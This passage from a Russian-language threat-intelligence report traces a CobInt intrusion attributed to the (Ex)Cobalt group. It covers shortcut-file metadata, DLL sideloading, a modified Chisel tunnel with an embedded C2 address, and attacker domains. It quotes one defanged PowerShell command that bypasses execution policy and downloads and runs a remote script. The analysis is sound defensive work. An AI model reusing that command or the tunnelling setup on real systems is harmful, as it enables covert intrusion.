\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0438 \u0437\u0434\u0435\u0441\u044c \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u0438\u043c\u0435\u043d\u043d\u043e CobInt.<\/p>\n<p>\u0410\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CobInt \u0432 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 Cobalt, \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0431\u044b\u043b\u043e \u0440\u0430\u043d\u0435\u0435 <a href=\"https:\/\/www.proofpoint.com\/us\/threat-insight\/post\/new-modular-downloaders-fingerprint-systems-part-3-cobint\">\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e<\/a> \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0438\u0437 \u0418\u0411-\u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430.<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/de0\/fa4\/0e0\/de0fa40e0b3125af09bebb25e3ee1251.png\" alt=\"\u0425\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\" title=\"\u0425\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\" width=\"319\" height=\"324\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/de0\/fa4\/0e0\/de0fa40e0b3125af09bebb25e3ee1251.png\"\/><\/p>\n<div><figcaption><em>\u0425\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>\u0410\u043d\u0430\u043b\u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 LNK \u0438 \u043f\u043e\u0438\u0441\u043a \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432<\/h2>\n<p>\u0424\u0430\u0439\u043b\u044b \u044f\u0440\u043b\u044b\u043a\u043e\u0432 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043b\u0430\u0434\u0435\u0437\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a MAC-\u0430\u0434\u0440\u0435\u0441 \u0434\u0435\u0432\u0430\u0439\u0441\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0444\u0430\u0439\u043b \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d. \u041f\u043e \u0438\u0442\u043e\u0433\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u0432\u0443\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 <strong>Document_Microsoft_Word.lnk<\/strong>,<strong> <\/strong>\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0445\u043e\u0434\u0435 \u043d\u0430\u0448\u0435\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438 \u0442\u043e\u043c \u0436\u0435 \u0445\u043e\u0441\u0442\u0435 \u0432 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">Drive type:   Fixed storage media (Hard drive)<\/p>\n<p align=\"left\">Serial   number: <strong>BAF595C8<\/strong><\/p>\n<p align=\"left\">\n<p align=\"left\">Machine   ID:\u00a0 <strong>laptop-fj0h336p<\/strong><\/p>\n<p align=\"left\">MAC Address: <strong>98:43:fa:4a:9d:be<\/strong><\/p>\n<p align=\"left\">MAC   Vendor:\u00a0 (Unknown vendor)<\/p>\n<p align=\"left\">Creation:\u00a0\u00a0\u00a0 <strong>2023-11-15 09:06:39<\/strong><\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">Volume   Droid:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   35ed6538-2cde-46bc-a3a8-2414e4c1c6cd<\/p>\n<p align=\"left\">Volume Droid   Birth: 35ed6538-2cde-46bc-a3a8-2414e4c1c6cd<\/p>\n<p align=\"left\">File   Droid:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   496b729b-8396-11ee-9a39-9843fa4a9dbe<\/p>\n<p align=\"left\">File Droid   birth:\u00a0\u00a0   496b729b-8396-11ee-9a39-9843fa4a9dbe<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 <a href=\"https:\/\/www.virustotal.com\/gui\/search\/content%3A%22laptop-fj0h336p%22\/files\">\u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c<\/a> \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0444\u0430\u0439\u043b \u00abZapros_13-2-16442-upr_ot_25_08_2023.lnk\u00bb (MD5: 0da63b385b2b6650dd6acf3b511e5ac8) \u0441 \u0442\u0430\u043a\u0438\u043c \u0436\u0435 Machine ID (laptop-fj0h336p). \u041e\u043d \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0438 <a href=\"https:\/\/www.ptsecurity.com\/ru-ru\/research\/pt-esc-threat-intelligence\/uzhe-ne-te-ataki-ex-cobalt-na-rossijskie-kompanii-v-2023-godu\/#id3\">\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442<\/a> \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c\u0438 \u0438\u0437 \u0418\u0411-\u043e\u0442\u0440\u0430\u0441\u043b\u0438 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 (Ex)Cobalt. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0445\u0435\u043c\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CobInt \u0432 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u043e\u043c \u043d\u0430\u043c\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0435 \u0431\u044b\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0430 \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439. <\/p>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b \u00abCamScanner_24.11.2023_10.32.lnk\u00bb (MD5: 939cc38ef64a3e5148d889fa4423d464) \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0435\u0433\u043e \u0430\u0440\u0445\u0438\u0432 \u00ab<a href=\"https:\/\/www.virustotal.com\/gui\/file\/24de8eda46c83e5f713ed7e57fb21100907ce7f6ddac1135530ea6dd45afb02b\">DOC009_2.rar<\/a>\u00bb. \u0414\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u043e \u0432\u0441\u0435\u043c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 \u0441\u0435\u043a\u0446\u0438\u0438 IoC.<\/p>\n<h2>\u0414\u0440\u0443\u0433\u0438\u0435 \u0444\u0430\u0439\u043b\u044b, \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0432\u0448\u0438\u0435 \u0432 \u0430\u0442\u0430\u043a\u0435<\/h2>\n<p>\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b dism.exe (MD5: 472646bd684bcaac510be7f65f9a08ab), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u044b\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 DLL Sideloading:<\/p>\n<ul>\n<li>\n<p>C:\\Intel\\dism.exe<\/p>\n<\/li>\n<li>\n<p>C:\\Intel\\Log\\dism.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\dism.exe<\/p>\n<\/li>\n<\/ul>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0432 \u0430\u0442\u0430\u043a\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u0444\u0430\u0439\u043b\u044b, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u0435\u043d\u0430 \u0438 SHA256 \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u044b, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0442\u0441\u044b\u043b\u0430\u044e\u0442 \u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c Kaspersky \u0438 \u044d\u0442\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043c\u0438\u043c\u0438\u043a\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u043d\u0435\u0435 \u0443\u0436\u0435 \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0437\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 (Ex)Cobalt:<\/p>\n<ul>\n<li>\n<p>C:\\hp\\bec.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\<strong>kas.exe<\/strong><\/p>\n<\/li>\n<li>\n<p>C:\\hp\\<strong>kis.exe<\/strong><\/p>\n<\/li>\n<li>\n<p>C:\\hp\\new.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\prt.exe<\/p>\n<\/li>\n<li>\n<p>C:\\hp\\prt2.exe<\/p>\n<\/li>\n<\/ul>\n<p>\u0421\u0440\u0435\u0434\u0438 \u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0441\u0442\u044c \u043e\u0434\u0438\u043d, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u2013 C:\\hp\\kasi.exe. \u041e\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <a href=\"https:\/\/github.com\/jpillora\/chisel\">Chisel<\/a> \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f TCP\/UDP-\u0442\u0443\u043d\u043d\u0435\u043b\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 HTTP.<\/p>\n<p>\u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043a\u043e\u0441\u043d\u0443\u043b\u0438\u0441\u044c \u0435\u0435 \u0430\u0434\u0430\u043f\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0430\u0442\u0430\u043a\u0435:<\/p>\n<ul>\n<li>\n<p> \u0431\u044b\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043b\u0438\u0435\u043d\u0442, \u0443\u0431\u0440\u0430\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u044b;<\/p>\n<\/li>\n<li>\n<p>\u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043d\u0443\u0436\u043d\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u04212-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u044d\u0442\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u0441\u0430\u043c\u0443 \u0443\u0442\u0438\u043b\u0438\u0442\u0443;<\/p>\n<\/li>\n<li>\n<p>\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0442\u0440\u043e\u043a\u0438 \u043d\u0435 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u044b (C2 \u043d\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d \u0438 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435);<\/p>\n<\/li>\n<li>\n<p>\u0443\u0431\u0440\u0430\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f generatePidFile, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u043b\u0438\u0448\u043d\u0435\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u0430 \u0441 PID \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0443\u0442\u0438\u043b\u0438\u0442\u044b;<\/p>\n<\/li>\n<li>\n<p>\u0443\u0431\u0440\u0430\u043d\u044b \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438 \u0432 \u043a\u043e\u0434\u0435.<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d83\/6ed\/6b2\/d836ed6b2ce8850035187ef3c9b0c925.png\" alt=\"\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab88.218.62[.]79:443\u00bb \u00abR:9050:socks\u00bb\" title=\"\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab88.218.62[.]79:443\u00bb \u00abR:9050:socks\u00bb\" width=\"506\" height=\"319\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d83\/6ed\/6b2\/d836ed6b2ce8850035187ef3c9b0c925.png\"\/><\/p>\n<div><figcaption><em>\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab88.218.62[.]79:443\u00bb \u00abR:9050:socks\u00bb<\/em><\/figcaption><\/div>\n<\/figure>\n<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p>\u0412 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0441\u043a\u0440\u0438\u043f\u0442 1.bat, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430 004.ps1 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 techcname[.]com.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   -ep bypass -w hidden -c iex ((New-Object   Net.WebClient).DownloadString(&#8216;hxxps:\/\/techcname[.]com\/004.ps1&#8217;))<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u0430\u043c\u0438 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u00ab\\Packagd\\XboxGamingOverlay.ps1\u00bb. \u041c\u044b \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0443\u0447\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435.<\/p>\n<h2>\u0410\u043d\u0430\u043b\u0438\u0437 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432<\/h2>\n<p>\u041c\u044b \u0438\u0437\u0443\u0447\u0438\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"175\" width=\"175\">\n<p align=\"left\"><strong>Domain<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>IP<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>Reg. date<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>First seen<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"175\" width=\"175\">\n<p align=\"left\">netstaticpoints[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">45.11.181[.]152<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"175\" width=\"175\">\n<p align=\"left\">techcname[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">172.67.190[.]233<\/p>\n<p align=\"left\">104.21.84[.]96<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041e\u0431\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 <a href=\"https:\/\/www.ptsecurity.com\/ru-ru\/research\/pt-esc-threat-intelligence\/uzhe-ne-te-ataki-ex-cobalt-na-rossijskie-kompanii-v-2023-godu\/\">\u043e\u0442\u0447\u0435\u0442\u0430<\/a> \u043e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435, \u0447\u0442\u043e \u043c\u043e\u0433\u043b\u043e \u0441\u043f\u043e\u0434\u0432\u0438\u0433\u043d\u0443\u0442\u044c \u0435\u0435 \u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432. <\/p>\n<p>\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0435\u0449\u0435 \u0431\u044b\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u044b.<\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0434\u043e\u043c\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Namecheap \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f \u0441 \u0440\u0430\u0437\u043d\u0438\u0446\u0435\u0439 \u0432 4 \u0441\u0435\u043a\u0443\u043d\u0434\u044b. \u041c\u044b \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u043e\u043c\u0435\u043d\u044b, \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 Namecheap \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f, \u0438 \u043d\u0430\u0448\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>Domain<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>Registration date<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">techcname[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 